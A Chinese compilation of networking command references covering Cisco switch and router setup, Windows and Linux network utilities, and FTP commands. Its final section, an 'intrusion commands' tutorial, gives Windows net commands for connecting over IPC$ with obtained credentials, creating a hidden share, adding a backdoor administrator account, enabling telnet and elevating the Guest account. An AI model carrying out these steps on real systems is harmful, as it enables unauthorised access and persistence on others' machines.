网络基础版各种命令行集锦
Switching 命令大全 Switching 命令大全 1. 在基于IOS的交换机上设置主机名/系统名: switch(config)# hostname hostname 在基于CLI的交换机上设置主机名/系统名: switch(enable) set system name name-string 2.在基于IOS的交换机上设置登录口令: switch(config)# enable password level 1 password 在基于CLI的交换机上设置登录口令: switch(enable) set password switch(enable) set enalbepass 3.在基于IOS的交换机上设置远程访问: switch(config)# interface vlan 1 switch(config-if)# ip address ip-address netmask switch(config-if)# ip default-gateway ip-address 在基于CLI的交换机上设置远程访问: switch(enable) set interface sc0 ip-address netmask broadcast-address switch(enable) set interface sc0 vlan switch(enable) set ip route default gateway 4.在基于IOS的交换机上启用和浏览CDP信息: switch(config-if)# cdp enable switch(config-if)# no cdp enable 为了查看Cisco邻接设备的CDP通告信息: switch# show cdp interface [type modle/port] switch# show cdp neighbors [type module/port] [detail] 在基于CLI的交换机上启用和浏览CDP信息: switch(enable) set cdp {enable|disable} module/port 为了查看Cisco邻接设备的CDP通告信息: switch(enable) show cdp neighbors[module/port] [vlan|duplex|capabilities|detail] 5.基于IOS的交换机的端口描述: switch(config-if)# description description-string 基于CLI的交换机的端口描述: switch(enable)set port name module/number description-string 6.在基于IOS的交换机上设置端口速度: switch(config-if)# speed{10|100|auto} 在基于CLI的交换机上设置端口速度: switch(enable) set port speed moudle/number {10|100|auto} switch(enable) set port speed moudle/number {4|16|auto} 7.在基于IOS的交换机上设置以太网的链路模式: switch(config-if)# duplex {auto|full|half} 在基于CLI的交换机上设置以太网的链路模式: switch(enable) set port duplex module/number {full|half} 8.在基于IOS的交换机上配置静态VLAN: switch# vlan database switch(vlan)# vlan vlan-num name vla switch(vlan)# exit switch# configure teriminal switch(config)# interface interface module/number switch(config-if)# switchport mode access switch(config-if)# switchport access vlan vlan-num switch(config-if)# end 在基于CLI的交换机上配置静态VLAN: switch(enable) set vlan vlan-num [name name] switch(enable) set vlan vlan-num mod-num/port-list 9. 在基于IOS的交换机上配置VLAN中继线: switch(config)# interface interface mod/port switch(config-if)# switchport mode trunk switch(config-if)# switchport trunk encapsulation {isl|dotlq} switch(config-if)# switchport trunk allowed vlan remove vlan-list switch(config-if)# switchport trunk allowed vlan add vlan-list 在基于CLI的交换机上配置VLAN中继线: switch(enable) set trunk module/port [on|off|desirable|auto|nonegotiate] Vlan-range [isl|dotlq|dotl0|lane|negotiate] 10.在基于IOS的交换机上配置VTP管理域: switch# vlan database switch(vlan)# vtp domain domain-name 在基于CLI的交换机上配置VTP管理域: switch(enable) set vtp [domain domain-name] 11.在基于IOS的交换机上配置VTP 模式: switch# vlan database switch(vlan)# vtp domain domain-name switch(vlan)# vtp {sever|cilent|transparent} switch(vlan)# vtp password password 在基于CLI的交换机上配置VTP 模式: switch(enable) set vtp [domain domain-name] [mode{ sever|cilent|transparent }][password password] 12. 在基于IOS的交换机上配置VTP版本: switch# vlan database switch(vlan)# vtp v2-mode 在基于CLI的交换机上配置VTP版本: switch(enable) set vtp v2 enable 13. 在基于IOS的交换机上启动VTP剪裁: switch# vlan database switch(vlan)# vtp pruning 在基于CL I 的交换机上启动VTP剪裁: switch(enable) set vtp pruning enable 14.在基于IOS的交换机上配置以太信道: switch(config-if)# port group group-number [distribution {source|destination}] 在基于CLI的交换机上配置以太信道: switch(enable) set port channel moudle/port-range mode{on|off|desirable|auto} 15.在基于IOS的交换机上调整根路径成本: switch(config-if)# spanning-tree [vlan vlan-list] cost cost 在基于CLI的交换机上调整根路径成本: switch(enable) set spantree portcost moudle/port cost switch(enable) set spantree portvlancost moudle/port [cost cost][vlan-list] 16.在基于IOS的交换机上调整端口ID: switch(config-if)# spanning-tree[vlan vlan-list]port-priority port-priority 在基于CLI的交换机上调整端口ID: switch(enable) set spantree portpri {mldule/port}priority switch(enable) set spantree portvlanpri {module/port}priority [vlans] 17. 在基于IOS的交换机上修改STP时钟: switch(config)# spanning-tree [vlan vlan-list] hello-time seconds switch(config)# spanning-tree [vlan vlan-list] forward-time seconds ` switch(config)# spanning-tree [vlan vlan-list] max-age seconds 在基于CLI的交换机上修改STP时钟: switch(enable) set spantree hello interval[vlan] switch(enable) set spantree fwddelay delay [vlan] switch(enable) set spantree maxage agingtiame[vlan] 18. 在基于IOS的交换机端口上启用或禁用Port Fast 特征: switch(config-if)#spanning-tree portfast 在基于CLI的交换机端口上启用或禁用Port Fast 特征: switch(enable) set spantree portfast {module/port}{enable|disable} 19. 在基于IOS的交换机端口上启用或禁用UplinkFast 特征: switch(config)# spanning-tree uplinkfast [max-update-rate pkts-per-second] 在基于CLI的交换机端口上启用或禁用UplinkFast 特征: switch(enable) set spantree uplinkfast {enable|disable}[rate update-rate] [all-protocols off|on] 20. 为了将交换机配置成一个集群的命令交换机,首先要给管理接口分配一个IP地址,然后使用下列命令: switch(config)# cluster enable cluster-name 21. 为了从一条中继链路上删除VLAN,可使用下列命令: switch(enable) clear trunk module/port vlan-range 22. 用show vtp domain 显示管理域的VTP参数. 23. 用show vtp statistics显示管理域的VTP参数. 24. 在Catalyst交换机上定义TrBRF的命令如下: switch(enable) set vlan vlan-name [name name] type trbrf bridge bridge-num[stp {ieee|ibm}] 25. 在Catalyst交换机上定义TrCRF的命令如下: switch (enable) set vlan vlan-num [name name] type trcrf {ring hex-ring-num|decring decimal-ring-num} parent vlan-num 26. 在创建好TrBRF VLAN之后,就可以给它分配交换机端口.对于以太网交换,可以采用如下命令给VLAN分配端口: switch(enable) set vlan vlan-num mod-num/port-num 27. 命令show spantree显示一个交换机端口的STP状态. 28. 配置一个ELAN的LES和BUS,可以使用下列命令: ATM (config)# interface atm number.subint multioint ATM(config-subif)# lane serber-bus ethernet elan-name 29. 配置LECS: ATM(config)# lane database database-name ATM(lane-config-databade)# name elan1-name server-atm-address les1-nsap-address ATM(lane-config-databade)# name elan2-name server-atm-address les2-nsap-address ATM(lane-config-databade)# name … 30. 创建完数据库后,必须在主接口上启动LECS.命令如下: ATM(config)# interface atm number ATM(config-if)# lane config database database-name ATM(config-if)# lane config auto-config-atm-address 31. 将每个LEC配置到一个不同的ATM子接口上.命令如下: ATM(config)# interface atm number.subint multipoint ATM(config)# lane client ethernet vlan-num elan-num 32. 用show lane server 显示LES的状态. 33. 用show lane bus显示bus的状态. 34. 用show lane database显示LECS数据库可内容. 35. 用show lane client显示LEC的状态. 36. 用show module显示已安装的模块列表. 37. 用物理接口建立与VLAN的连接: router# configure terminal router(config)# interface media module/port router(config-if)# description description-string router(config-if)# ip address ip-addr subnet-mask router(config-if)# no shutdown 38. 用中继链路来建立与VLAN的连接: router(config)# interface module/port.subinterface router(config-ig)# encapsulation[isl|dotlq] vlan-number router(config-if)# ip address ip-address subnet-mask 39. 用LANE 来建立与VLAN的连接: router(config)# interface atm module/port router(config-if)# no ip address router(config-if)# atm pvc 1 0 5 qsaal router(config-if)# atm pvc 2 0 16 ilni router(config-if)# interface atm module/port.subinterface multipoint router(config-if)# ip address ip-address subnet-mask router(config-if)# lane client ethernet elan-num router(config-if)# interface atm module/port.subinterface multipoint router(config-if)# ip address ip-address subnet-name router(config-if)# lane client ethernet elan-name router(config-if)# … 40. 为了在路由处理器上进行动态路由配置,可以用下列IOS命令来进行: router(config)# ip routing router(config)# router ip-routing-protocol router(config-router)# network ip-network-number router(config-router)# network ip-network-number41. 配置默认路由: switch(enable) set ip route default gateway 42. 为一个路由处理器分配VLANID,可在接口模式下使用下列命令: router(config)# interface interface number router(config-if)# mls rp vlan-id vlan-id-num 43. 在路由处理器启用MLSP: router(config)# mls rp ip 44. 为了把一个外置的路由处理器接口和交换机安置在同一个VTP域中: router(config)# interface interface number router(config-if)# mls rp vtp-domain domain-name 45. 查看指定的VTP域的信息: router# show mls rp vtp-domain vtp domain name 46. 要确定RSM或路由器上的管理接口,可以在接口模式下输入下列命令: router(config-if)#mls rp management-interface 47. 要检验MLS-RP的配置情况： router# show mls rp 48. 检验特定接口上的MLS配置： router# show mls rp interface interface number 49. 为了在MLS-SE上设置流掩码而又不想在任一个路由处理器接口上设置访问列表： set mls flow [destination|destination-source|full] 50. 为使MLS和输入访问列表可以兼容，可以在全局模式下使用下列命令： router(config)# mls rp ip input-acl 51. 当某个交换机的第3层交换失效时，可在交换机的特权模式下输入下列命令： switch(enable) set mls enable 52. 若想改变老化时间的值，可在特权模式下输入以下命令： switch(enable) set mls agingtime agingtime 53. 设置快速老化： switch(enable) set mls agingtime fast fastagingtime pkt_threshold 54. 确定那些MLS-RP和MLS-SE参与了MLS，可先显示交换机引用列表中的内容再确定： switch(enable) show mls include 55. 显示MLS高速缓存记录： switch(enable) show mls entry 56. 用命令show in arp显示ARP高速缓存区的内容。 57. 要把路由器配置为HSRP备份组的成员，可以在接口配置模式下使用下面的命令： router(config-if)# standby group-number ip ip-address 58. 为了使一个路由器重新恢复转发路由器的角色，在接口配置模式下： router(config-if)# standy group-number preempt 59. 访问时间和保持时间参数是可配置的： router(config-if)# standy group-number timers hellotime holdtime 60. 配置HSRP跟踪： router(config-if)# standy group-number track type-number interface-priority 61. 要显示HSRP路由器的状态： router# show standby type-number group brief 62. 用命令show ip igmp确定当选的查询器。 63. 启动IP组播路由选择： router(config)# ip muticast-routing 64. 启动接口上的PIM： dalllasr1&(config-if)# ip pim {dense-mode|sparse-mode|sparse-dense-mode} 65. 启动稀疏-稠密模式下的PIM： router# ip multicast-routing router# interface type number router# ip pim sparse-dense-mode 66. 核实PIM的配置： dallasr1&# show ip pim interface[type number] [count] 67. 显示PIM邻居： dallasr1&# show ip neighbor type number 68. 为了配置RP的地址，命令如下： dallasr1&# ip pim rp-address ip-address [group-access-list-number][override] 69. 选择一个默认的RP： dallasr1&# ip pim rp-address 通告RP和它所服务的组范围： dallasr1&# ip pim send-rp-announce type number scope ttl group-list access-list-number 为管理范围组通告RP的地址： dallasr1&# ip pim send-rp-announce ethernet0 scope 16 group-list1 dallasr1&# access-list 1 permit 266.0.0.0 0.255.255.255 设定一个RP映像代理： dallasr1&# ip pim send-rp-discovery scope ttl 核实组到RP的映像： dallasr1&# show ip pim rp mapping dallasr1&# show ip pim rp [group-name|group-address] [mapping] 70. 在路由器接口上用命令ip multicast ttl-threshold ttl-value设定TTL阀值： dallasr1&(config-if)# ip multicast ttl-threshold ttl-value 71. 用show ip pim neighbor显示PIM邻居表。 72. 显示组播通信路由表中的各条记录： dallasr1&show ip mroute [group-name|group-address][scoure][summary][count][active kbps] 73. 要记录一个路由器接受和发送的全部IP组播包： dallasr1& #debug ip mpacket [detail] [access-list][group] 74. 要在CISCO路由器上配置CGMP： dallasr1&(config-if)# ip cgmp 75.配置一个组播路由器，使之加入某一个特定的组播组： dallasr1&(config-if)# ip igmp join-group group-address 76. 关闭 CGMP： dallasr1&(config-if)# no ip cgmp 77. 启动交换机上的CGMP： dallasr1&(enable) set cgmp enable 78. 核实Catalyst交换机上CGMP的配置情况： catalystla1&(enable) show config set prompt catalystla1& set interface sc0 192.168.1.1 255.255.255.0 set cgmp enable 79. CGMP离开的设置： Dallas_SW(enable) set cgmp leave 80. 在Cisco设备上修改控制端口密码： R1(config)# line console 0 R1(config-line)# login R1(config-line)# password Lisbon R1(config)# enable password Lilbao R1(config)# login local R1(config)# username student password cisco81. 在Cisco设备上设置控制台及vty端口的会话超时： R1(config)# line console 0 R1(config-line)# exec-timeout 5 10 R1(config)# line vty 0 4 R1(config-line)# exec-timeout 5 2
[1]&[2]&[3]&[4]&[5]&[6]&[7]&下一页&&
文章录入：csh&&&&责任编辑：csh&
82. 在Cisco设备上设定特权级： R1(config)# privilege configure level 3 username R1(config)# privilege configure level 3 copy run start R1(config)# privilege configure level 3 ping R1(config)# privilege configure level 3 show run R1(config)# enable secret level 3 cisco 83. 使用命令privilege 可定义在该特权级下使用的命令： router(config)# privilege mode level level command 84. 设定用户特权级： router(config)# enable secret level 3 dallas router(config)# enable secret san-fran router(config)# username student password cisco 85. 标志设置与显示： R1(config)# banner motd ‘unauthorized access will be prosecuted!' 86. 设置vty访问： R1(config)# access-list 1 permit 192.168.2.5 R1(config)# line vty 0 4 R1(config)# access-class 1 in 87. 配置HTTP访问： Router3(config)# access-list 1 permit 192.168.10.7 Router3(config)# ip http sever Router3(config)# ip http access-class 1 Router3(config)# ip http authentication local Router3(config)# username student password cisco 88. 要启用HTTP访问，请键入以下命令： switch(config)# ip http sever 89. 在基于set命令的交换机上用setCL1启动和核实端口安全： switch(enable) set port security mod_num/port_num…enable mac address switch(enable) show port mod_num/port_num 在基于CiscoIOS命令的交换机上启动和核实端口安全： switch(config-if)# port secure [mac-mac-count maximum-MAC-count] switch# show mac-address-table security [type module/port] 90. 用命令access-list在标准通信量过滤表中创建一条记录： Router(config)# access-list access-list-number {permit|deny} source-address [source-address] 91. 用命令access-list在扩展通信量过滤表中创建一条记录： Router(config)# access-list access-list-number {permit|deny{protocol|protocol-keyword}}{source source-wildcard|any}{destination destination-wildcard|any}[protocol-specific options][log] 92. 对于带内路由更新，配置路由更新的最基本的命令格式是： R1(config-router)#distribute-list access-list-number|name in [type number] 93. 对于带外路由更新，配置路由更新的最基本的命令格式是： R1(config-router)#distribute-list access-list-number|name out [interface-name] routing-process| autonomous-system-number 94. set snmp命令选项： set snmp community {read-only|ready-write|read-write-all}[community_string] 95. set snmp trap 命令格式如下： set snmp trap {enable|disable} [all|moudle|classis|bridge|repeater| auth|vtp|ippermit|vmps|config|entity|stpx] set snmp trap rvcr_addr rcvr_community 96. 启用SNMP chassis 陷阱: Console&(enable) set snmp trap enable chassis 97. 启用所有SNMP chassis 陷阱: Console&(enable) set snmp trap enable 98. 禁用SNMP chassis 陷阱: Console&(enable) set snmp trap disable chassis 99. 给SNMP陷阱接收表加一条记录： Console&(enable) set snmp trap 192.122.173.42 public 100. show snmp 输出结果。 101. 命令set snmp rmon enable 的输出结果。 102. 显示SPAN信息： Consile& show span&&网络经典命令行
1.最基本，最常用的，测试物理网络的 ping 192.168.10.88 －t ，参数－t是等待用户去中断测试 2.查看DNS、IP、Mac等 A.Win98：winipcfg B.Win2000以上：Ipconfig/all
C.NSLOOKUP：如查看河北的DNS C:\&nslookup Default Server: ns.hesjptt.net.cn Address: 202.99.160.68 &server 202.99.41.2 则将DNS改为了41.2 & pop.pcpop.com Server: ns.hesjptt.net.cn Address: 202.99.160.68
Non-authoritative answer: Name: pop.pcpop.com Address: 202.99.160.212
3.网络信使 Net send 计算机名/IP|* (广播) 传送内容，注意不能跨网段 net stop messenger 停止信使服务，也可以在面板－服务修改 net start messenger 开始信使服务
4.探测对方对方计算机名，所在的组、域及当前用户名 ping －a IP －t ，只显示NetBios名 nbtstat -a 192.168.10.146 比较全的
5.netstat -a 显示出你的计算机当前所开放的所有端口 netstat -s -e 比较详细的显示你的网络资料，包括TCP、UDP、ICMP 和 IP的统计等
6.探测arp绑定（动态和静态）列表，显示所有连接了我的计算机，显示对方IP和MAC地址 arp -a
7.在代理服务器端 捆绑IP和MAC地址，解决局域网内盗用IP： ARP －s 192.168.10.59 00－50－ff－6c－08－75 解除网卡的IP与MAC地址的绑定： arp -d 网卡IP
8.在网络邻居上隐藏你的计算机 net config server /hidden:yes net config server /hidden:no 则为开启
9.几个net命令 A.显示当前工作组服务器列表 net view，当不带选项使用本命令时，它就会显示当前域或网络上的计算机上的列表。 比如：查看这个IP上的共享资源，就可以 C:\&net view 192.168.10.8 在 192.168.10.8 的共享资源 资源共享名 类型 用途 注释 -------------------------------------- 网站服务 Disk 命令成功完成。
B.查看计算机上的用户帐号列表 net user C.查看网络链接 net use 例如：net use z: \\192.168.10.8\movie 将这个IP的movie共享目录映射为本地的Z盘
D.记录链接 net session 例如： C:\&net session 计算机 用户名 客户类型 打开空闲时间 ------------------------------------------------------------------------------- \\192.168.10.110 ROME Windows
\\192.168.10.51 ROME Windows
00:00:39 命令成功完成。
10.路由跟踪命令 A.tracert pop.pcpop.com B.pathping pop.pcpop.com 除了显示路由外，还提供325S的分析，计算丢失包的％
11.关于共享安全的几个命令 A.查看你机器的共享资源 net share B.手工删除共享 net share c$ /d net share d$ /d net share ipc$ /d net share admin$ /d 注意$后有空格。 C.增加一个共享： c:\net share mymovie=e:\downloads\movie /users:1 mymovie 共享成功。 同时限制链接用户数为1人。
12.在DOS行下设置静态IP A.设置静态IP CMD netsh netsh&int interface&ip interface ip&set add "本地链接" static IP地址 mask gateway B.查看IP设置 interface ip&show address测试mtuping -f -l size 服务器ip偶们最常用咯^_^&教你使用netstat命令
netstat命令的功能是显示网络连接、路由表和网络接口信息，可以让用户得知目前都有哪些网络连接正在运作。 该命令的一般格式为：
netstat [选项]
命令中各选项的含义如下：
-a 显示所有socket，包括正在监听的。
-c 每隔1秒就重新显示一遍，直到用户中断它。
-i 显示所有网络接口的信息，格式同“ipconfig -e”。
-n 以网络IP地址代替名称，显示出网络连接情形。
-r 显示核心路由表，格式同“route -e”。
-t 显示TCP协议的连接情况。
-u 显示UDP协议的连接情况。
-v 显示正在进行的工作。
[例]在本地机上使用netstat命令。
Active Internet connections （w/o servers）
Proto Recv-Q Send-Q Local Address Foreign Address State
Active UNIX domain sockets （w/o servers）
Proto RefCnt Flags Type State I-Node Path
unix 1 [ ] STREAM CONNECTED 270 @
unix 1 [ ] STREAM CONNECTED 150 @
unix 1 [ ] STREAM CONNECTED 104 @
unix 1 [ ] STREAM CONNECTED 222 @
unix 1 [ ] STREAM CONNECTED 171 @
unix 1 [ ] STREAM CONNECTED 271 /dev/log
unix 1 [ ] STREAM CONNECTED 225 /dev/log
unix 1 [ ] STREAM CONNECTED 223 /dev/log
unix 1 [ ] STREAM CONNECTED 203 /dev/log
unix 1 [ ] STREAM CONNECTED 105 /dev/log
nslookup命令
nslookup命令的功能是查询一台机器的IP地址和其对应的域名。它通常需要一台域名服务器来提供域名服务。如果用户已经设置好域名服务器，就可以用这个命令查看不同主机的IP地址对应的域名。
该命令的一般格式为：
nslookup [IP地址/域名]
[例]在本地机上使用nslookup命令。
$ nslookup
Default Server: name.tlc.com.cn
Address: 192.168.1.99
在符号“&”后面输入要查询的IP地址或域名并回车即可。如果要退出该命令，输入exit并回车即可。
finger命令
finger命令的功能是查询用户的信息，通常会显示系统中某个用户的用户名、主目录、停滞时间、登录时间、登录shell等信息。如果要查询远程机上的用户信息，需要在用户名后面接“@主机名”，采用[用户名@主机名]的格式，不过要查询的网络主机需要运行finger守护进程。
该命令的一般格式为：
finger [选项] [使用者] [用户@主机]
命令中各选项的含义如下：
-s 显示用户的注册名、实际姓名、终端名称、写状态、停滞时间、登录时间等信息。 -l 除了用-s选项显示的信息外，还显示用户主目录、登录shell、邮件状态等信息，以及用户主目录下的.plan、.project和.forward文件的内容。
-p 除了不显示.plan文件和.project文件以外，与-l选项相同。
[例]在本地机上使用finger命令。
$ finger xxq
Login: xxq Name:
Directory: /home/xxq Shell: /bin/bash
Last login Thu Jan 1 21:43 （CST） on tty1
Login Name Tty Idle Login Time Office Office Phone
root root *1 28 Nov 25 09:17
ping命令用于查看网络上的主机是否在工作，它向该主机发送ICMP ECHO_REQUEST包。有时我们想从网络上的某台主机上下载文件，可是又不知道那台主机是否开着，就需要使用ping命令查看。
该命令的一般格式为：
ping [选项] 主机名/IP地址
命令中各选项的含义如下：
-c 数目 在发送指定数目的包后停止。
-d 设定SO_DEBUG的选项。
-f 大量且快速地送网络封包给一台机器，看它的回应。
-I 秒数 设定间隔几秒送一个网络封包给一台机器，预设值是一秒送一次。
-l 次数 在指定次数内，以最快的方式送封包数据到指定机器（只有超级用户可以使用此选项）。
-q 不显示任何传送封包的信息，只显示最后的结果。
-r 不经由网关而直接送封包到一台机器，通常是查看本机的网络接口是否有问题。
-s 字节数 指定发送的数据字节数，预设值是56，加上8字节的ICMP头，一共是64ICMP数据字节。
TurboLinux系统提供了大量命令和许多实用工具软件，本书由于篇幅的关系，主要介绍了TurboLinux的一些常用命令和实用软件。读者可以使用系统提供的联机帮助手册获取更多的信息。
TurboLinux系统的联机手册中有大量的可用信息，根据其内容分成若干节。在Linux联机帮助手册上，几乎每个命令都有说明。因此，当用户对于Linux上的一个命令不会用或是不太了解时，就请使用联机帮助命令。
本章主要介绍几个常用的联机帮助命令。包括：
man 查询每个命令的使用方法
help 查询Shell命令
whereis 查询某个命令的位置
locate 查询某个文件的位置
这个命令应该是每个Linux系统上都有的。它格式化并显示在线的手册页。通常使用者只要在命令man后，输入想要获取的命令的名称（例如 ls），man就会列出一份完整的说明，其内容包括命令语法、各选项的意义以及相关命令等。
该命令的一般形式为：
man [选项] 命令名称
命令中各选项的含义分别为：
-M 路径 指定搜索man手册页的路径，通常这个路径由环境变量MANPATH预设，如果在命令行上指定另外的路径，则覆盖MANPATH的设定。
-P 命令 指定所使用的分页程序，缺省使用/usr/bin/less–is，在环境变量MANPAGER中预设。
-S 章节 由于一个命令名称可能会有很多类别，至于类别，列出如下：
1 一般使用者的命令
2 系统调用的命令
3 C语言函数库的命令
4 有关驱动程序和系统设备的解释
5 配置文件的解释
6 游戏程序的命令
7 其他的软件或是程序的命令
有关系统维护的命令
-a 显示所有的手册页，而不是只显示第一个。
-d 这个选项主要在检查时使用，如果用户加入了一个新的文件，就可以用这个选项检查是否出错，这个选项并不会列出文件内容。
-f 只显示出命令的功能而不显示其中详细的说明文件。
-p string 设定运行的预先处理程序的顺序，共有下列几项：
e eqn t tbl
g grap r refer
p pic v vgrind
-w 不显示手册页，只显示将被格式化和显示的文件所在位置。
例如：查看cd命令的使用方法。
cd（n） Tcl Built-In Commands cd（n）
_________________________________________________________________
cd - Change working directory
cd ?dirName?
_________________________________________________________________
DEs criptION
Change the current working directory to dirName, or to the
home directory （as specified in the HOME environment vari-
able） if dirName is not given. Returns an empty string.
working directory
可以按q键退出man命令。
help命令用于查看所有Shell命令。用户可以通过该命令寻求Shell命令的用法，只需在所查找的命令后输入help命令，就可以看到所查命令的内容了。
例如：查看od命令的使用方法。
$ od --help
　whereis命令
这个程序的主要功能是寻找一个命令所在的位置。例如，我们最常用的ls命令，它是在/bin这个目录下的。如果希望知道某个命令存在哪一个目录下，可以用whereis命令来查询。
该命令的一般形式为：
whereis [选项] 命令名
说明：一般直接使用不加选项的whereis命令，但用户也可根据特殊需要选用它的一些选项。
该命令中各选项的含义分别为：
b 只查找二进制文件
m 查找主要文件
s 查找来源
u 查找不常用的记录文件
例如：查找ls命令在什么目录下。
$ whereis ls
ls:/bin/ls/usr/man/man1/ls.1FTP命令行使用精萃
　　FTP命令是Internet用户使用最频繁的命令之一，不论是在DOS还是UNIX操作系统下使用FTP，都会遇到大量的FTP内部命令。熟悉并灵活应用FTP的内部命令，可以大大方便使用者，并收到事半功倍之效。　　FTP的命令行格式为： ftp -v -d -i -n -g [主机名] ，其中　　-v 显示远程服务器的所有响应信息；　　-i 限制ftp的自动登录，即不使用；　　-n etrc文件；　　-d 使用调试方式；　　-g 取消全局文件名。　　ftp使用的内部命令如下(中括号表示可选项):　　1. ![cmd[args]]：在本地机中执行交互shell，exit回到ftp环境，如：!ls*.zip。　　2. $ macro-ame[args]：执行宏定义macro-name。　　3. account[password]：提供登录远程系统成功后访问系统资源所需的补充口令。　　4. append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。　　5. ascii：使用ascii类型传输方式。　　6. bell：每个命令执行完毕后计算机响铃一次。　　7. bin：使用二进制文件传输方式。　　8. bye：退出ftp会话过程。　　9. case：在使用mget时，将远程主机文件名中的大写转为小写字母。　　10. cd remote-dir：进入远程主机目录。　　11. cdup：进入远程主机目录的父目录。　　12. chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如： chmod 777 a.out 。　　13. close：中断与远程服务器的ftp会话(与open对应)。　　14. cr：使用asscii方式传输文件时，将回车换行转换为回行。　　15. delete remote-file：删除远程主机文件。　　16. debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如： deb up 3，若设为0，表示取消debug。　　17. dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件local-file。　　18. disconnection：同close。　　19. form format：将文件传输方式设置为format，缺省为file方式。　　20. get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。　　21. glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。　　22. hash：每传输1024字节，显示一个hash符号(#)。　　23. help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。　　24. idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。　　25. image：设置二进制传输方式(同binary)。　　26. lcd[dir]：将本地工作目录切换至dir。　　27. ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file
上一页&&[1]&[2]&[3]&[4]&[5]&[6]&[7]&下一页&&
文章录入：csh&&&&责任编辑：csh&
　　28. macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。　　29. mdelete[remote-file]：删除远程主机文件。　　30. mdir remote-files local-file：与dir类似，但可指定多个远程文件，如： mdir *.o.*.zipoutfile 。　　31. mget remote-files：传输多个远程文件。　　32. mkdir dir-name：在远程主机中建一目录。　　33. mls remote-file local-file：同nlist，但可指定多个文件名。　　34. mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。　　35. modtime file-name：显示远程主机文件的最后修改时间。　　36. mput local-file：将多个文件传输至远程主机。　　37. newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。　　38. nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。　　39. nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换，如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件a1.a2.a3时，文件名变为a1，a2。该命令特别适用于远程主机为非UNIX机的情况。　　40. ntrans[inchars[outchars]]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。　　41. open host[port]：建立指定ftp服务器连接，可指定连接端口。　　42. passive：进入被动传输方式。　　43. prompt：设置多个文件传输时的交互提示。　　44. proxy ftp-cmd：在次要控制连接中，执行一条ftp命令，该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。　　45. put local-file[remote-file]：将本地文件local-file传送至远程主机。　　46. pwd：显示远程主机的当前工作目录。　　47. quit：同bye，退出ftp会话。　　48. quote arg1，arg2...：将参数逐字发至远程ftp服务器，如：quote syst。　　49. recv remote-file[local-file]：同get。　　50. reget remote-file[local-file]：类似于get，但若local-file存在，则从上次传输中断处续传。　　51. rhelp[cmd-name]：请求获得远程主机的帮助。　　52. rstatus[file-name]：若未指定文件名，则显示远程主机的状态，否则显示文件状态。　　53. rename[from][to]：更改远程主机文件名。　　54. reset：清除回答队列。　　55. restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。　　56. rmdir dir-name：删除远程主机目录。　　57. runique：设置文件名唯一性存储。　　58. send local-file[remote-file]：同put。　　59. sendport：设置PORT命令的使用。　　60. site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。　　61. size file-name：显示远程主机文件大小，如：site idle 7200。　　62. status：显示当前ftp状态。　　63. struct[struct-name]：将文件传输结构设置为struct-name，缺省时使用stream结构。　　64. sunique：将远程主机文件名存储设置为唯一(与runique对应)。　　65. system：显示远程主机的操作系统类型。　　66. tenex：将文件传输类型设置为TENEX机的所需的类型。　　67. tick：设置传输时的字节计数器。　　68. trace：设置包跟踪。　　69. type[type-name]：设置文件传输类型为type-name，缺省为ascii，如：type binary，设置二进制传输方式。　　70. umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3。　　71. user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous my@email。　　72. verbose：同命令行的-v参数，即设置详尽报告方式，ftp服务器的所有响应都将显示给用户，缺省为on。　　73. ?[cmd]：同help。&入侵命令详解
--------------------------------------------------------------------------------1：NET 只要你拥有某IP的用户名和密码，那就用IPC$做连接吧！ 这里我们假如你得到的用户是hbx，密码是123456。假设对方IP为127.0.0.1 net use \\127.0.0.1\ipc$ 123456 /user:hbx null密码为空退出的命令是 net use \\127.0.0.1\ipc$ /delete --------------------------------net share是查看主机共享资源我们用它建一个秘密共享目录吧net share me=c:\winnt\system32 这样这个机器就有了一个名为me的共享目录，而打开它就是winnt下的system32目录，如果你用win2000的系统就知这个目录有多重要了，如果不想要也好办net share me /delete 呵呵，没有了，是不是很方便的啊。---------------------- ---------------------- ---------------------- 下面的操作你必须登陆后才可以用.登陆的方法就在上面. ---------------------- ---------------------- ---------------------- 下面我们讲怎么创建一个用户，由于SA的权限相当于系统的超级用户. 我们加一个heibai的用户密码为lovechina net user heibai lovechina /add 只要显示命令成功，那么我们可以把他加入Administrator组了. net localgroup Administrators heibai /add ---------------------- 这里是讲映射对方的C盘，当然其他盘也可以，只要存在就行了.我们这里把对方的C盘映射到本地的Z盘. net use z:\\127.0.0.1\c$ ---------------------- net start telnet 这样可以打开对方的TELNET服务. ---------------------- 这里是将Guest用户激活，guest是NT的默认用户，而且无法删除呢？不知道是否这样，我的2000就是删除不了它。 net user guest /active:yes ---------------------- net user guest /active:no这样这个guest的用户就又被禁用了----------------------这里是把一个用户的密码改掉，我们把guest的密码改为lovechina，其他用户也可以的。只要有权限就行了呀！ net user guest lovechina 有人问到提高权限的问题 下面就解决下net localgroup administrators guest /add 将guest变为administrator
